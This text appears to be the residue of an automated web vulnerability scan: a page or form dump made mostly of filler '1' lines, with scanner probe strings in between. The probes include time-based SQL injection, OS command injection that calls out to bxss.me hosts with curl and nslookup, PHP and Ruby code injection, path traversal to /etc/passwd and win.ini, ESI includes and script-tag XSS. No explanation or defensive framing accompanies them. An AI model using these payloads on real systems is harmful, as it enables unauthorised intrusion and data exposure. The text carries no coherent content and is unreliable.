1  

Row1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1C40yrfgvnO  

)  

'"()  

!(()&&!|*|*|  

1'&&sleep(27*1000)*dprdps&&'  

1  

^(#$!@#$)(()))******  

1"&&sleep(27*1000)*mqpllq&&"  

1'||sleep(27*1000)*nonxko||'  

'.gethostbyname(lc('hitde'.'mommjkrhce82f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(77).chr(117).chr(90).'  

1"||sleep(27*1000)*tutngt||"  

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));  

".gethostbyname(lc("hitfc"."xsbhhknf6e343.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(78).chr(122).chr(69)."  

1  

';print(md5(31337));$a='  

1  

";print(md5(31337));$a="  

1  

${@print(md5(31337))}  

1  

${@print(md5(31337))}\  

1  

'.print(md5(31337)).'  

1  

1  

1&n977015=v972319  

0gXzZqot  

echo iksjmv$()\ jwnpes\nz^xyu||a #' &echo iksjmv$()\ jwnpes\nz^xyu||a #|" &echo iksjmv$()\ jwnpes\nz^xyu||a #  

1  

&echo yvejvy$()\ ephhog\nz^xyu||a #' &echo yvejvy$()\ ephhog\nz^xyu||a #|" &echo yvejvy$()\ ephhog\nz^xyu||a #  

1  

../../../../../../../../../../../../../../etc/passwd  

1  

1  

1&echo elalpo$()\ nllmox\nz^xyu||a #' &echo elalpo$()\ nllmox\nz^xyu||a #|" &echo elalpo$()\ nllmox\nz^xyu||a #  

1  

../../../../../../../../../../../../../../windows/win.ini  

|echo kdqdqf$()\ edrsou\nz^xyu||a #' |echo kdqdqf$()\ edrsou\nz^xyu||a #|" |echo kdqdqf$()\ edrsou\nz^xyu||a #  

1  

file:///etc/passwd  

1<esi:include src="http://bxss.me/rpb.png"/>  

1|echo vaiast$()\ jcorgu\nz^xyu||a #' |echo vaiast$()\ jcorgu\nz^xyu||a #|" |echo vaiast$()\ jcorgu\nz^xyu||a #  

1  

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡  

(nslookup -q=cname hitdyjdwfrlhwd1eea.bxss.me||curl hitdyjdwfrlhwd1eea.bxss.me))  

1  

../1  

1  

$(nslookup -q=cname hitkxoaukvypd3603e.bxss.me||curl hitkxoaukvypd3603e.bxss.me)  

1  

&nslookup -q=cname hitmmzpkebdoa5af9c.bxss.me&'\"`0&nslookup -q=cname hitmmzpkebdoa5af9c.bxss.me&`'  

1  

1  

${10000044+9999972}  

&(nslookup -q=cname hitjvjmrurmnjb7e3f.bxss.me||curl hitjvjmrurmnjb7e3f.bxss.me)&'\"`0&(nslookup -q=cname hitjvjmrurmnjb7e3f.bxss.me||curl hitjvjmrurmnjb7e3f.bxss.me)&`'  

1  

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg  

1  

|(nslookup -q=cname hituwlrvuwgjm5c142.bxss.me||curl hituwlrvuwgjm5c142.bxss.me)  

1  

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg  

1  

1  

`(nslookup -q=cname hitxlfxcqmfrg6405b.bxss.me||curl hitxlfxcqmfrg6405b.bxss.me)`  

1  

Http://bxss.me/t/fit.txt  

;(nslookup -q=cname hitrawqctfjgef6c23.bxss.me||curl hitrawqctfjgef6c23.bxss.me)|(nslookup -q=cname hitrawqctfjgef6c23.bxss.me||curl hitrawqctfjgef6c23.bxss.me)&(nslookup -q=cname hitrawqctfjgef6c23.bxss.me||curl hitrawqctfjgef6c23.bxss.me)  

http://bxss.me/t/fit.txt%3F.jpg  

response.write(9156282*9835180)  

HttP://bxss.me/t/xss.html?%00  

/etc/shells  

1  

'+response.write(9156282*9835180)+'  

bxss.me/t/xss.html?%00  

c:/windows/win.ini  

1  

"+response.write(9156282*9835180)+"  

bxss.me  

1  

1  

1  

1  

1  

"+"A".concat(70-3).concat(22*4).concat(110).concat(87).concat(121).concat(85)+(require"socket" Socket.gethostbyname("hitcs"+"bxjikaby21149.bxss.me.")[3].to_s)+"  

1  

1  

'+'A'.concat(70-3).concat(22*4).concat(98).concat(77).concat(109).concat(73)+(require'socket' Socket.gethostbyname('hitxx'+'kyiyxwpc84d20.bxss.me.')[3].to_s)+'  

1  

1  

1  

1  

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))  

1  

1  

1  

1  

1  

1  

1  

1  

1  

xfs.bxss.me  

'"  

1  

1  

1  

<!--  

1  

1'"()&%<zzz><ScRiPt >yo4Q(9536)</ScRiPt>  

1  

1  

1  

1  

'"()&%<zzz><ScRiPt >yo4Q(9456)</ScRiPt>  

1  

1  

1  

19916648  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

15kEnbxvm  

1  

-1 OR 2+370-370-1=0+0+0+1 --  

-1 OR 2+860-860-1=0+0+0+1  

-1' OR 2+982-982-1=0+0+0+1 --  

-1' OR 2+307-307-1=0+0+0+1 or 'yddiVsSV'='  

-1" OR 2+67-67-1=0+0+0+1 --  

1*if(now()=sysdate(),sleep(15),0)  

10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z  

10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z  

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/  

1-1; waitfor delay '0:0:15' --  

1-1); waitfor delay '0:0:15' --  

1-1 waitfor delay '0:0:15' --  

1gO0wczBl'; waitfor delay '0:0:15' --  

1-1 OR 693=(SELECT 693 FROM PG_SLEEP(15))--  

1-1) OR 208=(SELECT 208 FROM PG_SLEEP(15))--  

1-1)) OR 887=(SELECT 887 FROM PG_SLEEP(15))--  

1od5ksEoy' OR 593=(SELECT 593 FROM PG_SLEEP(15))--  

1DnyX4tCW') OR 716=(SELECT 716 FROM PG_SLEEP(15))--  

183xjNugF')) OR 776=(SELECT 776 FROM PG_SLEEP(15))--  

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)  

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'  

1'"  

@@cmtdq  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1  

1